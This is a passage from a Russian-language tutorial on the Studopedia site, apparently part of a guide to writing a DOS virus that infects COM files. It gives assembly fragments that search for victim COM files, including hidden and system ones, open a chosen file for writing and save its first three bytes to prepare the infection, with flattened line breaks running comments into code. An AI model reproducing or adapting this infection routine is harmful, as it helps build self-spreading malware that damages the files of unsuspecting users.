Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Читаем исходные три байта




Ищем подходящий файл

Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS: 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла:

find_first: mov ah,4eh;Поиск первого;файла... mov cx,00100110b;archive, system;hidden lea dx,maska;Маска для поис-;ка int 21h jnc r_3;Нашли! jmp restore_dta;Ошибка! find_next: mov ah,3eh;Закроем непод- int 21h;ходящий файл... jnc r_2 jmp restore_dta;Файл нельзя за-;крыть! r_2: mov ah,4fh;И найдем сле- int 21h;дующий... jnc r_3;Файл найден! jmp restore_dta;Ошибка! r_3: mov cx,12;Сотрем в буфере lea si,fn;"fn" имя пред- destroy_name:;ыдущего файла mov byte ptr [si],0; inc si; loop destroy_name;Цикл 12 раз... xor si,si;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh];фер имя только cmp al,0;что найденного;файла... je open;В конце имени в mov byte ptr ds:fn[si],al;DTA всегда сто- inc si;ит ноль, его мы jmp copy_name;и хотим достичь

Имя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало.

Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn".

open: mov ax,3d02h;Открыть файл;для чтения и;записи... lea dx,fn;Имя файла... int 21h; jnc save_bytes jmp restore_dta;Файл не откры-;вается! save_bytes:;Считаем три;байта: mov bx,ax;Сохраним дес-;криптор в BX mov ah,3fh;Номер функции mov cx,3;Сколько байт? lea dx,old_bytes;Буфер для счи-;тываемых данных int 21h jnc found_size jmp close;Ошибка!

Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев.




Поделиться с друзьями:


Дата добавления: 2014-11-20; Просмотров: 386; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.01 сек.